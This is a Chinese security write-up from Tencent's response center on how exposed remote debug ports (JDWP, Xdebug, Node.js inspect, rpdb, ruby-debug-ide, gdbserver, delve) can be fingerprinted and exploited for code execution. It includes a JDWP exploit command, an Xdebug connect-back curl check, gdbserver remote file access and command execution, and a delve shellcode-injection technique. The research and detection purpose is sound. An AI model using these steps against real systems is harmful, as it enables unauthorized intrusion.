淺析常見Debug調試器的安全隱患

2021-02-26 騰訊安全應急響應中心

作者:騰訊藍軍實習生rotcrev

一、前言

筆者在騰訊藍軍&TSRC實習期間,其中一項工作是分析開發語言debug調試器的攻擊面和編寫指紋識別腳本,協助提升公司漏洞掃描器的檢測能力,以及豐富藍軍安全演習武器庫,進而消除安全隱患。經梳理發現包括不限於java、php、nodejs、python、ruby、gdbserver、golang等相關debug調試器都存在被攻擊的可能性,腳本語言的debug調試器的利用思路一般可以從其內置執行表達式的功能出發,而編譯型語言的debug調試器由於功能限制可能需要考慮二進位方面的利用。暴露遠程debug埠,風險非常大,請開發人員務必做好訪問控制。

二、DEBUG?EXPLOIT!1、java JDWP RCE

JDWP(Java DEbugger Wire Protocol):即Java調試線協議,是一個為Java調試而設計的通訊交互協議,它定義了調試器和被調試程序之間傳遞的信息的格式。

網上已有非常多的JDWP利用分析文章,這裡主要介紹復現過程和指紋識別以及一些小細節。

java程序測試代碼:

//Test.java

import java.lang.Thread;

public class Test {

public static void main (String[] args) throws Exception{

int i = 0;

while (1 == 1) {

Thread.sleep(1000);

System.out.println("" + i);

i += 1;

}

}

}

編譯java程序:

javac Test.java

啟動遠程debug調試器:

java -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8080 Test

監聽埠為8080,開發人員可以隨便設置埠,常見的埠為8000、8080。

漏洞利用腳本比較經典的是 https://github.com/IOActive/jdwp-shellifier ,

命令為: python jdwp-shellifier.py -t 目標主機ip -p jdwp運行埠 --break-on 斷點方法 --cmd "Your Command"

因為利用需要指定一個斷點,jdwp-shellifier默認是 java.net.ServerSocket.accept ,除了這個,比較常見通用方法還有 java.lang.String.indexOf 。

當向jdwp埠發送 JDWP-Handshake 字符串時,伺服器會返回 JDWP-Handshake 字符串,為了降低識別誤報,可以進一步發送獲取版本信息的指令,模擬jdwp通信過程來獲取遠程jvm信息,提取出版本數據,確定目標為jdwp服務。需要注意jdwp不支持多用戶同時連接,掃描時有可能因為其他人正在連接導致識別不到。這裡貼一下筆者簡單編寫的jdwp指紋識別腳本,它會列印出遠程jvm返回的版本信息等。

#jdwp-check.py

import socket

import struct

import sys

def p32(u):

return struct.pack('>I', u)

def u32(p):

return struct.unpack('>I', p)[0]

def check(host, port):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, int(port)))

handshake = 'JDWP-Handshake'

s.send(handshake)

data = s.recv(len(handshake))

print(data)

if data != handshake:

return False

versionCommandPack = p32(1)

versionCommandPack += '\x00\x01\x01'

versionCommandPack = p32(len(versionCommandPack) + 4) + versionCommandPack

s.send(versionCommandPack)

data = s.recv(4)

replyLength = u32(data)

print("get reply size: {}".format(replyLength))

data = s.recv(replyLength)

print(data)

s.close()

if __name__ == '__main__':

check(sys.argv[1], sys.argv[2])

當然,nmap也支持檢測jdwp。

2、php Xdebug RCE

Xdebug是PHP的擴展,提供豐富的調試函數,用於協助調試和開發,可以進行遠程調試。

如果服務端PHP開啟了Xdebug模塊,當客戶端向服務端發送一個帶有XDEBUG_SESSION_START參數的請求時,服務端將debug信息轉發到相關客戶端的調試埠並且可以執行相關調試函數。

xdebug.remote_host 設置回連地址,xdebug.remote_port 設置回連埠,這種情況只能回連到固定ip,一般是無法利用的。

當開啟 xdebug.remote_connect_back 選項時,允許回連到任意ip,這也是方便多用戶同時調試,但沒有任何過濾,任何人都可以連,利用就出現在這裡。

Multiple Users Debugging

Xdebug only allows you to specify one IP address to connect to with xdebug.remote_host) while doing remote debugging. It does not automatically connect back to the IP address of the machine the browser runs on, unless you use xdebug.remote_connect_back.

If all of your developers work on different projects on the same (development) server, you can make the xdebug.remote_host setting for each directory through Apache’s .htaccess functionality by using php_value xdebug.remote_host=10.0.0.5. However, for the case where multiple developers work on the same code, the .htaccess trick does not work as the directory in which the code lives is the same.

There are two solutions to this. First of all, you can use a DBGp proxy. For an overview on how to use this proxy, please refer to the article at Debugging with multiple users. You can download the proxy on ActiveState’s web site as part of the python remote debugging package. There is some more documentation in the Komodo FAQ.

Secondly you can use the xdebug.remote_connect_back setting that was introduced in Xdebug 2.1.

掃描檢測其實也並不複雜,先在自己機器上監聽埠,然後只需要一行命令就可以搞定:

curl http://target.com/?XDEBUG_SESSION_START -H 'X-Forwarded-For: 回連地址'

如果目標存在風險,我們會收到這樣的回連:

在實際利用中,有個情況是我們不知道目標配置的回連埠是什麼,這裡有三個解決辦法,第一是嘗試默認埠,官方默認埠是9000;第二是可以直接抓包看有哪些連接過來的tcp連接,雖然我們沒有監聽埠,但是依舊能收到目標發過來的syn包;第三是可以用iptables做個DNAT,具體命令可以閱讀下面ruby-debug-ide部分。

那麼具體如何利用呢?xdebug(版本>=2.1)的remote_handler默認是DBGp,那麼利用思路是通過DBGp內置表達式來執行任意php代碼,ricterz 師傅已經分析得很清楚了。在這裡劃重點,大部分的解釋執行語言的debug調試工具在設計上都會允許執行表達式來方便調試,就算沒有這個功能,也非常可能會被用戶要求加入這個功能或者類似的功能,比如golang delve。不過golang倒不是解釋執行的語言,但是也能說明這種趨勢。

更深入的利用本文就不贅述了,網上已經存在許多利用工具,比如 https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce ,而且更簡單的可以直接用phpstorm或者vscode直接執行表達式。

3、nodejs debug/inspect RCE

nodejs內置了調試功能,舊版本nodejs使用 --debug 選項啟動,新版本nodejs使用 --inspect 選項啟動,有些版本會同時存在這兩個選項。

這裡使用官方提供的HelloWorld用例來做測試演示,執行 node app.js 啟動程序。

//app.js

const http = require('http');

const hostname = '127.0.0.1';

const port = 3000;

const server = http.createServer((req, res) => {

res.statusCode = 200;

res.setHeader('Content-Type', 'text/plain');

res.end('Hello World\n');

});

server.listen(port, hostname, () => {

console.log(`Server running at http:`);

});

舊版本nodejs執行 --debug 默認情況下調試埠監聽在127.0.0.1:5858,當開發者配置監聽在可被他人訪問時,會造成RCE風險,比如下圖啟動調試,

測試curl訪問這個埠,發現返回的HTTP Header有一些固定值,包括」V8-Version」和Embedding-Host: node」,這些可以作為識別指紋。

root@VM-66-175-debian:~# curl 127.0.0.1:5858 -v

* Rebuilt URL to: 127.0.0.1:5858/

* Trying 127.0.0.1...

* TCP_NODELAY set

* Connected to 127.0.0.1 (127.0.0.1) port 5858 (#0)

> GET / HTTP/1.1

> Host: 127.0.0.1:5858

> User-Agent: curl/7.52.1

> Accept: */*

>

Type: connect

V8-Version: 5.1.281.111

Protocol-Version: 1

Embedding-Host: node v6.17.1

Content-Length: 0

遠程連接調試埠後就可以執行js代碼,利用可以參見Metasploit https://www.exploit-db.com/exploits/42793 ,當然也可以抓包分析編寫python腳本方便執行。

新版本nodejs執行 --inspect 默認情況下調試埠監聽在127.0.0.1:9229,每個進程都有一個唯一的UUID標示符,當開發者配置監聽在可被他人訪問時,會造成RCE風險,比如下圖啟動調試,

可以直接使用Chrome DevTools遠程調試nodejs,首先打開chrome,進入chrome://inspect,點擊Discover network targets的configure,配置目標ip和埠:

保存後打勾,等下面Remote Target出現新目標,然後點擊inspect連結,就可以打開調試工具,在調試工具裡可以看原始碼,以及執行命令:

如果說用chrome操作不方便,那麼如何寫個腳本快速驗證呢?Chrome DevTools Protocol是基於WebScoket協議的,可以通過抓包來構造請求包。

nodejs inspect開啟的是ws伺服器,也提供了兩個http api接口,向服務發送http請求以下兩個路徑,

http://IP:Port/json/version

http://IP:Port/json

根據響應包可以得到nodejs的版本、調試腳本路徑,以及ws連接地址,

$ curl 192.168.56.103:9229/json/version -v

> GET /json/version HTTP/1.1

> Host: 192.168.56.103:9229

> User-Agent: curl/7.58.0

> Accept: */*

< HTTP/1.0 200 OK

< Content-Type: application/json; charset=UTF-8

< Cache-Control: no-cache

< Content-Length: 64

{

"Browser": "node.js/v8.10.0",

"Protocol-Version": "1.1"

}

$ curl 192.168.56.103:9229/json -v

> GET /json HTTP/1.1

> Host: 192.168.56.103:9229

> User-Agent: curl/7.58.0

> Accept: */*

>

< HTTP/1.0 200 OK

< Content-Type: application/json; charset=UTF-8

< Cache-Control: no-cache

< Content-Length: 247

<

[ {

"description": "node.js instance",

"devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=192.168.56.103:9229/dc94b8aa-0a0d-4e08-abda-4ab000e73755",

"faviconUrl": "https://nodejs.org/static/favicon.ico",

"id": "dc94b8aa-0a0d-4e08-abda-4ab000e73755",

"title": "a.js",

"type": "node",

"url": "file:///home/goahead/Desktop/js/debug-demo/a.js",

"webSocketDebuggerUrl": "ws://192.168.56.103:9229/dc94b8aa-0a0d-4e08-abda-4ab000e73755"

} ]

之後便可以通過返回的webSocketDebuggerUrl來連接目標調試埠執行命令。

4、python rpdb RCE

python官方自帶的調試工具pdb只能本地調試,沒有提供遠程調試功能,而PyCharm(Python IDE)提供的遠程調試組件pydevd是硬編碼一個回連的ip和埠,在正常情況下無法利用。

非官方的遠程調試器rpdb實現了讓pdb支持遠程調試的功能,使用rpdb很簡單,只要在python代碼加入如下代碼即可,

import rpdb

rpdb.set_trace()

調試埠默認是監聽在127.0.0.1:4444,也可以設置監聽在指定IP和埠,

import rpdb

rpdb.Rpdb(addr='0.0.0.0', port=4444).set_trace()

使用telnet連上埠後,就可以直接執行python代碼,不過rpdb只支持單用戶連接,並且在TCP連接exit斷開後程序就會報錯退出,調試埠關閉。

5、ruby ruby-debug-ide RCE

ruby-debug-ide為ruby調試器引擎(例如debase、ruby-debug-base)和IDE(例如RubyMine、Visual Studio Code、Eclipse、NetBeans)提供通信協議,ruby-debug-ide需要開發人員自己安裝。

先來看看其使用的通信協議有沒有RCE風險 https://github.com/ruby-debug/ruby-debug-ide/blob/master/protocol-spec.md

但這裡commands似乎沒有提到能執行表達式的功能,通過閱讀 https://github.com/ruby-debug/ruby-debug-ide/tree/master/lib/ruby-debug-ide/commands 代碼後發現protocol-spec並沒有把全部協議列出來,分析發現多個調用函數debug_eval的command都可以執行命令。

在這裡簡單介紹一下ruby-debug-ide的協議,這個協議主要通信方式類似問答,客戶端發送給被調試端命令,被調試端返回xml格式的響應。一個例子如下:

# 刪除斷點2

客戶端發送: delete 2

被調試端響應: <breakpointDeleted no="2"/>

不過,非多線程ruby腳本和多線程ruby腳本(比如rails應用程式)的遠程調試的通信過程是有區別的,這樣會導致利用過程需要考慮到它們的差異,先看看普通的ruby腳本如何利用,

#test.rb

counter = 0

while 1 do

sleep 1

puts "test #{counter}"

counter += 1

end

rdebug-ide --host 0.0.0.0 --port 1234 -- test.rb

使用rdebug-ide命令啟動程序,注意此時程序不會馬上執行。而是等待start命令,使用telnet或nc連接埠後發送start讓程序跑起來,那這時可以執行eval命令了嗎?還不行,因為包括eval、where、load等很多命令都無法在程序沒有中斷的時候運行。想要讓程序中斷,可以通過events事件(breakpoint、suspension、exception)來完成,其中觸發suspension很簡單,發送pause命令就可以將當前的線程掛起,之後再發送執行表達式的命令。

目前看來似乎一切順利,但是這裡有個情況,如果pause後再continue的話,那麼不能再次pause(感覺是ruby-debug-ide程序本身不夠完善),之後還想程序中斷,就要考慮其他操作比如捕捉異常exception。

接下來看看rails應用程式如何利用,

rdebug-ide --host 0.0.0.0 --port 1234 --dispatch-port 23456 -d -- /usr/local/bin/rails server

--dispatch-port這個選項指定的埠是需要debug client(IDE)去監聽,通信過程大致如下:

連接 --port 指定的埠

debug client(IDE)==================================> server

發送start命令

連接 --dispatch-port 埠

debug client(IDE)<================================== server

得到client應答後發送一個新的隨機埠號

關閉 --port 埠

連接新埠

debug client(IDE)==================================> server

發送start命令正式進入調試

嗯…這個調試過程感覺很麻煩,不少人都這麼認為:https://github.com/ruby-debug/ruby-debug-ide/issues/107

來測試下,首先監聽埠23456,然後nc ip 1234發送start之後,會收到server發過來的新埠號,注意如果server不能連接過來的話,ruby-debug-ide會報錯退出。接著連接新埠,發送start,程序成功啟動。

不過現在還不能馬上發送pause,需要看下當前是否有thread,發送thread list,此時很可能會出現沒有線程的情況,這很可能只是debug engine沒有發現這些thread而已,可以下個斷點,之後的操作大致和上面一致,發送pause命令,再執行表達式。

到目前為止,我們已經了解這個調試埠暴露出的危害,那麼如何檢測呢,可以找一個任何時候都可以使用的命令去檢測,比如查看斷點info break,發送這個命令後,服務端將會響應當前存在的斷點。

但是藍軍安全演習實際利用起來又要注意了,不知道目標運行是什麼模式,是ruby單線程腳本,還是rails多線程應用程式,如果是後者,在不知道回連埠是多少的情況下,貿然start會造成debug engine無法回連會直接報錯退出,因此,檢測出存在這個埠後利用起來也要小心翼翼。

為了能更穩定地利用,應當假設目標是rails這種多線程的模式,可以使用iptables將某個ip連接過來的tcp連接全部導向本地指定埠,大概命令如下:

這樣目標ip連過來的所有tcp連接就會轉發到本地監聽埠上,用nc監聽這個指定的埠即可。

6、gdbserver RCE

gdb對於開發者來講(特別是c、c++等編譯型語言)可能不陌生,而gdbserver則是gdb配套的遠程調試工具,是RSP(Remote Serial Protocol)的一種實現。

gdb有兩種遠程調試的連接模式,分別為target remote mode和target extended-remote mode,這兩種模式在調試進程結束後gdbserver的行為會有所不同,文檔描述如下:

Types of Remote Connections

With target remote mode: When the debugged program exits or you detach from it, GDB disconnects from the target. When using gdbserver, gdbserver will exit.

With target extended-remote mode: When the debugged program exits or you detach from it, GDB remains connected to the target, even though no program is running. You can rerun the program, attach to a running program, or use monitor commands specific to the target.

When using gdbserver in this case, it does not exit unless it was invoked using the —once option. If the —once option was not used, you can ask gdbserver to exit using the monitor exit command (see Monitor Commands for gdbserver).

當extended-remote mode的時候,gdbserver在程序結束後或detach後不會停止運行,除非使用了—once選項。

gdbserver remote mode相關命令

比如Server端啟動遠程調試a.out,監聽1234埠:

gdbserver 0.0.0.0:1234 a.out

Client運行gdb後用下面命令連接:

(gdb) target remote xxx.xxx.xxx.xxx:1234

gdbserver extended-remote mode相關命令

遠程調試a.out,監聽1234埠:

gdbserver --multi 0.0.0.0:1234 a.out

運行gdb後用下面命令連接:

# 即使gdbserver沒有使用--multi選項,也可以這麼連,這個可以強制讓gdbserver進入extended-remote mode

(gdb) target extended-remote 127.0.0.1:1234

文檔中沒有說清楚(可能是我沒看到)的是,即使gdbserver啟動是remote mode,gdb連接上也可以開啟extended-remote mode,這樣gdbserver在進程結束之後依舊不會退出,這也就給實際利用提供了便利。

通過閱讀文檔發現gdb本身就提供了文件傳輸的功能,分別是下面三種命令:

1. remote put hostfile targetfile

2. remote get targetfile hostfile

3. remote delete targetfile

也就是說只要連上gdbserver埠,就可以任意讀/寫/刪除伺服器上的文件。

文件下載:

文件上傳:

那麼如何達到RCE目的呢?經過簡單的分析,目前發現三種RCE方法:

1. gdb連接上之後可以修改內存,這時候加段shellcode進內存然後跳轉執行

2. 通過extended-remote mode支持的功能運行額外的程序

3. 在有符號的情況下可以直接call system()

這裡簡單介紹第二種,在extended-remote的情況下,支持設置遠程運行的文件,而且支持run命令,這個不就可以任意命令執行嗎?

(gdb) set remote exec-file <path/to/executable>

(gdb) run <args>...

演示如下,can_u_see_me就是/tmp/pwn目錄下的文件。

只是這種方式無法直接獲取回顯,不過獲取回顯的方式有很多種,比如程序是默認使用shell來運行的,支持重定向,所以可以將結果重定向到文件,然後再下載讀取。

關於埠指紋識別,這裡簡要介紹通信用的RSP協議,該協議位於tcp協議之上,不論是客戶端(gdb)還是服務端(gdbserver)在收到對方的包都會回復一個』+』字符。這個協議通信過程中用到的字符都是可列印字符,大概格式為 $# ,這個checksum為content每個字符之和對於256的模,用python寫的checksum函數如下:

def calc_checksum(s):

res = 0

for c in s:

res = (res + ord(c)) % 256

return res

通常gdb在和target服務端通信一開始的時候,都會將客戶端支持的功能告訴服務端,而服務端也會返回所支持的功能。

客戶端(gdb)發送(這裡只描述content的格式):
qSupported [:gdbfeature [;gdbfeature]… ]

服務端(gdbserver)通過下面的格式告訴客戶端它支持的feature:
stubfeature [;stubfeature]…

通過上面的這個命令就可以用來進行指紋檢測,下面是一個通信的例子:

客戶端發送:

+$qSupported:multiprocess+

服務端響應:

+$PacketSize=3fff;QPassSignals+;QProgramSignals+;QStartupWithShell+;QEnvironmentHexEncoded+;QEnvironmentReset+;QEnvironmentUnset+;QSetWorkingDir+;QCatchSyscalls+;qXfer:libraries-svr4:read+

指紋檢測就可以利用上面蘊含的模式(+$.*?#[0-9a-fA-F]{2}),還可以驗證checksum是否正確,如果正確,那麼大概率證明這是gdbserver使用的rsp協議。

7、golang delve RCE

delve是golang官方文檔推薦的調試器,因為它比gdb對golang語言的支持更佳,這個也是本文利用起來較麻煩的一個調試器。

首先簡單介紹一下delve的使用,

開啟本地調試golang程序:

dlv debug test.go

開啟遠程調試golang程序:

dlv --listen=:2345 --headless=true --api-version=2 debug test.go

開啟遠程調試還可以設置多client連接模式,在這個模式下,多個client可以連接上來,並且在client斷開連接時delve會繼續運行:

dlv --accept-multiclient --listen=:2345 --headless=true --api-version=2 debug test.go

遠程調試時使用下面命令連接到debug伺服器:

dlv connect ip:port

非多client連接模式連一次delve就會退出,所以下面測試會以多client連接模式作為前提。

在尋找利用方式時,筆者還是優先考慮表達式執行,通過閱讀文檔,找到了執行表達式的print命令,但表達式支持的功能有限(https://github.com/go-delve/delve/blob/master/Documentation/cli/expr.md),沒有找到可以利用的點,繼續閱讀文檔發現還有一個call命令,這個命令可以調用當前程序導入的函數,比如程序導入了」os/exec」包,那麼就可以call 「os/exec」.Command來執行系統命令。

但是因為golang默認為靜態編譯,所以默認能調用的內置函數非常有限,如果程序沒有編譯進」os/exec」.Command這類命令執行的函數,那麼想要通過表達式執行,調用內部函數來RCE就不會那麼簡單了。

首先假設程序使用了」os/exec」.Command,實例代碼如下:

package main

import (

"os/exec"

"fmt"

"log"

)

func main() {

cmd := exec.Command("ls")

out, err := cmd.CombinedOutput()

if err != nil {

log.Fatalf("cmd.Run() failed with %s\n", err)

}

fmt.Printf("combined out:\n%s\n", string(out))

}

啟動調試環境,遠程連接上後,使用funcs命令來看下函數有哪些:

可以看到」os/exec」.Command被編譯進去了,嘗試call它,

失敗了,查看help知道call只能在當前選擇了goroutine的時候使用,這裡可以理解成只有停留在go源碼中才能使用,那麼可以執行b main.main,然後continue,再次嘗試調用命令:

(dlv) call "os/exec".Command("ls", "-al")

> main.main() ./go/exec.go:9 (hits goroutine(1):13 total:13) (PC: 0x4cd52b)

Command failed: can not convert "-al" constant to []string

還是失敗,估計delve調用函數使用的是反射,而Command第二個參數是可變參數,因此反射裡第二個參數需要是string slice,接著來嘗試使用初始化string slice,

(dlv) call "os/exec".Command("ls", []string{"-al"})

> main.main() ./go/exec.go:9 (hits goroutine(1):14 total:14) (PC: 0x4cd52b)

Command failed: error evaluating "[]string{\"-al\"}" as argument arg in function os/exec.Command: expression *ast.CompositeLit not implemented

但delve支持有限,導致這種初始化不能使用,可以嘗試尋找那些string slice的變量,將它作為第二個參數傳進去。通過vars命令可以看包內的變量,這裡我找到了os.Args這個string slice,它實際上就是程序的命令行參數。但是像下面這種函數串連起來調用容易遇到下面這種問題:

(dlv) call exec.Command("/bin/ls", os.Args).Run()

> main.main() ./go/exec.go:9 (hits goroutine(1):3 total:3) (PC: 0x4cd52b)

Command failed: call not at safe point

什麼是safe point?可以看看這個issue:https://github.com/go-delve/delve/issues/1590,簡單說就是程序在那裡call命令造成的棧幀GC無法處理,所以delve不讓調用。

不過可以分開執行函數,如果是上面給出的示例程序,可以等程序運行到定義了cmd變量那裡停下來,然後調用:

結果~r0就是命令的結果:

那萬一代碼沒有使用」os/exec」.Command這種危險的函數呢?筆者開始把視線轉向內置的一些函數,通過查看funcs命令的結果,找到了一些有點意思的函數,最開始覺得比較可能有希望的應該是syscall.Syscall和syscall.Syscall6這兩個,看名稱似乎可以用來進行系統調用,但測試後發現沒有那麼簡單,如果嘗試調用這兩個函數的話,會出現下面的情況:

(dlv) call syscall.Syscall(1)

> main.main() ./go/test.go:8 (hits goroutine(1):2 total:2) (PC: 0x4a23b8)

Command failed: too many arguments

(dlv) call syscall.Syscall6(1)

> main.main() ./go/test.go:8 (hits goroutine(1):2 total:2) (PC: 0x4a23b8)

Command failed: too many arguments

一個參數就報too many arguments?delve似乎對有些函數的原型無法正確識別,導致調用起來異常困難。

最後找到了兩個函數:reflect.memmove和syscall.mmap是可以正常使用的,reflect.memmove相當於c語言中的memmove或者memcpy,syscall.mmap剛好可以用來分配rwx的內存。好了,現在的問題就轉化成如何將shellcode寫入內存中和利用類似memcpy的功能來實現執行shellcode。熟悉二進位安全的朋友都知道,這種類似任意寫內存的功能已經無限接近於漏洞利用成功了。

另外分析發現disassemble命令會列印出內存裡的字節,任意讀內存也有了。

那麼如何構造出任意寫內存呢?首先了解一下slice在內存中的結構,它是像下面這種結構的(c語言表述,64位系統):

struct slice {

void* data;

int64_t len;

int64_t cap;

};

一開始的第一個欄位指向一段內存,這段內存由連續的對象組成,比如是string的slice,那麼就是一段連續的string對象,如果是數字,那就是一段連續的int之類的。第二個欄位就是這個對象數組有多少元素,cap則就是說這個slice最大容量是多少了。

string在內存中的結構:

struct string {

char* data;

int64_t len;

};

設想一下,如果將uint32 slice的頭8個字節覆蓋成string slice的頭8個字節,那麼uint32 slice的data指針就將指向string slice裡的string 結構體數組。

之後操作這個uint32 slice的數組內容就相當於在改寫string slice中的string結構體,通過改寫string結構體裡的data指針,將string指向想要指向的地址,這樣就可以覆蓋string的內容,相當於任意內存寫了。

因為可以對string進行賦值,所以將shellcode寫入內存也可以辦到:

(dlv) call syscall.envs[0] = "i am shellcode!"

> main.main() ./go/test.go:8 (hits goroutine(1):4 total:4) (PC: 0x4a23b8)

(dlv) p syscall.envs[0]

"i am shellcode!"

(dlv)

delve的表達式支持取地址操作,可以很方便地獲知變量的地址,當然也包括了各種slice的:

(dlv) p &syscall.envs

(*[]string)(0x57ac90)

(dlv)

實際測試結果:

如圖,將uint32 slice第一個欄位覆蓋為string slice的第一個欄位後,strconv.isPrint32的內容發生了變化,實際上就是string結構體數組的內容,將第一個uint32加1,可以看到syscall.envs[0]的內容向後移動了一個字節。

因為可以將shellcode也複製到rwx的內存頁中去,所以現在只需要找一個會被程序調用的指針,將這個指針改寫成有shellcode內存頁的地址即可。

這個指針的選擇,筆者挑了最簡單的一種,那就是函數的返回地址,當然可能存在其他的指針可以利用。當根據函數名下斷點的時候,比如b main.main,程序觸發這個斷點時,剛好就停在該函數的第一個指令處,也就是說,此時的RSP指向返回地址,可以用regs命令來獲得此刻的RSP的值。

然後通過上面構造的任意寫,將某個string指向返回地址,然後利用比如call syscall.envs[0][1] = 'a'這樣來改寫它的字節,就能成功將返回地址改成shellcode的地址,最後只需要讓函數運行至返回就會成功跳轉到shellcode執行。

將以上的點整合起來,編寫POC驗證想法:

關於埠指紋檢測,delve通信使用json-rpc進行TCP通訊,可以發送獲取遠程伺服器信息的請求,根據返回進行判斷。

客戶端請求:

{"method":"RPCServer.State","params":[{"NonBlocking":true}],"id":2}

服務端響應:

{"id":2,"result":{"State":{"Running":false,"currentThread":{"id":13920,"pc":4899128,"file":"/home/goahead/Desktop/b.go","line":6,"function":{"name":"main.main".}

三、收尾

我們可以發現,相當多的調試工具都是支持執行表達式這種功能的,也就是說,它是一種設計而不是一個漏洞。所以,這些埠的暴露和被利用,更多應當歸類於配置錯誤而不是本身存在漏洞。

遠程調試埠暴露,風險非常大,在公網暴露,很可能被蠕蟲攻擊植入木馬,在內網暴露,也可能會是黑客用來橫向移動擴大權限的有效攻擊手段,再次提醒開發人員務必做好訪問控制,避免被黑客攻擊。

文中涉及到的代碼和技術細節,只限用於技術交流,切勿用於非法用途。歡迎探討交流,行文倉促,不足之處,敬請不吝批評指正。

最後感謝實習期間 neargle 師傅和 KINGX 師傅以及各位領導同事的幫助和指導。

Reference

https://blog.spoock.com/2019/04/20/jdwp-rce/

https://paper.seebug.org/397/

https://nodejs.org/zh-cn/docs/guides/debugging-getting-started/

https://pypi.org/project/rpdb/

https://github.com/ruby-debug/ruby-debug-ide

https://www.gnu.org/software/gdb/documentation/

https://github.com/go-delve/delve/blob/master/Documentation/cli/README.md

我們是TSRC

網際網路安全的守護者

用戶數據安全的保衛者

我們找漏洞、查入侵、防攻擊

與安全行業精英攜手共建網際網路生態安全

期待正能量的你與我們結盟!

相關焦點

  • Go 的 Debug 工具 delve 介紹
    delve 的漢語意思是:鑽研、探索;用這個來命名一個debug工具還是非常的形象。本文主要介紹該工具的安裝與常用使用方法。是一個step-by-step的文章。目標是幫助大家學會如何使用 delve 來debug自己的代碼。
  • Golang的Debug工具delve介紹
    delve 的漢語意思是:鑽研、探索;用這個來命名一個debug工具還是非常的形象。本文主要介紹該工具的安裝與常用使用方法。是一個step-by-step的文章。目標是幫助大家學會如何使用 delve 來debug自己的代碼。
  • 常見消防隱患安全圖解
    常見問題       消防管道、排煙風管等穿過建築原有防火牆或防火捲簾處未進行有效防火封堵,風管上未設置防火閥,破壞了建築原防火分區的完整性,影響防火防煙作用。管理要求      防火分隔處確需穿越管道或風管時,孔洞應採用相當於防火分區耐火等級的不燃材料進行封堵,風管處應設置防火閥,確保建築防火分區的完整性。
  • 基於IntelVT技術的Linux內核調試器的設計與實現(一)-引言
    VMXICE調試器就是一款基於Linux的內核調試器,同樣使用了硬體虛擬化技術,將當前運行的作業系統運行級別降低為GUEST,而調試器運行級別為HOST,這樣一來,不修改中斷向量表就可以實現監視和攔截調試中斷。作業系統被放置於GUEST,並不能探測在位於HOST的調試器軟體,這樣的做法被證明可以很好地將調試器隱藏。
  • 更安全更高效,恩智浦Cortex-M33雙核開發板LPCXpresso55S69評測
    今年上半年又上市了搭載這款晶片的恩智浦官方開發板LPCXpresso55S69,板載調試器,配合恩智浦MCUXpresso IDE開發工具,開箱即用,可以快速評估使用這顆Armv8-M 架構 Cortex M33 雙核100Mhz 微控制器 。
  • 【安全研究】Powershell在主機中是否存在安全隱患?
    在主機中是否存在安全問題進行了一次較為全面的分析,並介紹了powershell從灰色工具逐步演變成為攻擊利用工具的過程、攻擊者的利用手段,最後分享了如何針對powershell攻擊做效防禦。如:常見的內網滲透、APT攻擊、後門技術,甚至包括目前流行的勒索病毒軟體中。
  • GDB調試器原來那麼簡單
    一般的,在Windows下進行開發,很少操控命令行調試,調試器大多與編譯器都集成在IDE裡了。平時在發現自己寫的代碼執行的流程異常時,不妨debug調試一下,一步一步地走,看程序是否按照自己設計的流程走,看是不是我們的執行邏輯設計錯了。(2)調試測試函數2測試函數2也是一道極其經典的面試題目。不能一眼看出結果?沒關係,我們一起調試分析一下。
  • RFID系統的安全隱患分析及防範策略
    隨著技術不斷的發展和完善, RFID晶片的功能也逐漸朝著多樣化的趨勢發展, 因此, 承擔的風險也就越來越高, 對於新一代的計算機來說, 雖然它們的功能種類較為全面, 可是通常結構更為複雜, 所引發的安全問題數量也在日益增多, 在不少的系統中都存在著高危的漏洞。因此, RFID系統發展需針對系統中的安全問題加以解決。目前, RFID系統中存在的安全隱患問題, 主要有以下幾點。
  • 調試(Debug)和發布(Release)
    程序打包教程Windows 下 debug 和 release 怎麼區分,相信用過VS的你已經知道了,那 Linux 下有 debug 和 release 的區別嗎?:~/deroy$ ls -ltotal 28-rw-r--r-- 1 deroy deroy   264 Jan 25 05:57 test.c-rwxr-xr-x 1 deroy deroy 11120 Jan 25 06:00 test-debug-rwxr-xr-x 1 deroy deroy  8424 Jan 25 06:01 test-debug-temp
  • Nodejs中模板引擎渲染原理與潛在隱患探討
    escapeFn); } //# sourceURL=/etc/passwd this.global.process.mainModule.require('child_process').execSync('open -a calculator') }5.4finally逃逸try catch限制在常見的程式語言中
  • 淺析LGPE中阿羅拉臭臭泥的一些常見用法
    首先仍然是先判別出對面的阿羅拉臭臭泥種類,是否有帶有超級吸取,如若沒有超級吸取,則我方常見地盾都很容易解決,另外沒有超級吸取,用會黑霧的蚊香泳士打擊也是不錯的,可以考慮在阿羅拉臭臭泥面前健美強化一下。其次就是應對變小或溶化阿羅拉臭臭泥了,可以考慮黑霧和諧掉對面的強化等級。較為穩妥可以選擇帶有地震及泰山壓頂的卡比獸處理阿羅拉臭臭泥,但要防止臭臭泥的劈瓦。
  • 兩部門通報:確實存在安全隱患,全國多地叫停
    許多加油站推出手機掃碼支付服務,雖然給人們生活出行帶來便利,但在加油站爆炸危險區域手機掃碼支付,確實存在安全隱患。爆炸危險區域掃碼支付已全面叫停聽證會上,安全專家對於手機掃碼支付發射的功率可能引發射頻火花進行了分析,通訊專家對於手機四種不同場景下的W/m2進行了說明,法律專家對於行政機關履職的法律依據進行了闡釋。通過公開聽證,最終得出「在加油站爆炸危險區域掃碼支付存在重大安全隱患」的結論。
  • Python 必備 debug 神器:pdb
    說到 debug,肯定是要添加斷點的,這裡有兩種方式添加斷點:pdb.set_trace()若是使用這種方式,直接運行 Python 文件即可進入斷點調試。b line_number(代碼行數)若是使用這種方式,需要 python -m pdb xxx.py 來啟動斷點調試。
  • [系統安全] 二.如何學好逆向分析及呂布傳遊戲逆向案例
    只要你自己寫一個調試器,就會出現很多方案。當你寫完一個調試器之後,你會發現調試器也很脆弱,一不小心某個樣本就會把你的調試器給弄奔潰,那麼一旦你找到樣本規律,對於你的調試器而言就是一種反調試。所以,如果你只是學習網上別人的脫殼、反調試技巧,這是沒用的,你需要去深入實踐和理解,然後總結屬於自己的技巧。
  • 淺析開源蜜罐識別與全網測繪
    蜜罐是一種安全威脅的檢測技術,其本質在於引誘和欺騙攻擊者,並且通過記錄攻擊者的攻擊日誌來產生價值。安全研究人員可以通過分析蜜罐的被攻擊記錄推測攻擊者的意圖和手段等信息。 根據蜜罐的交互特徵,可以分為低交互蜜罐和高交互蜜罐。
  • PM2源碼淺析
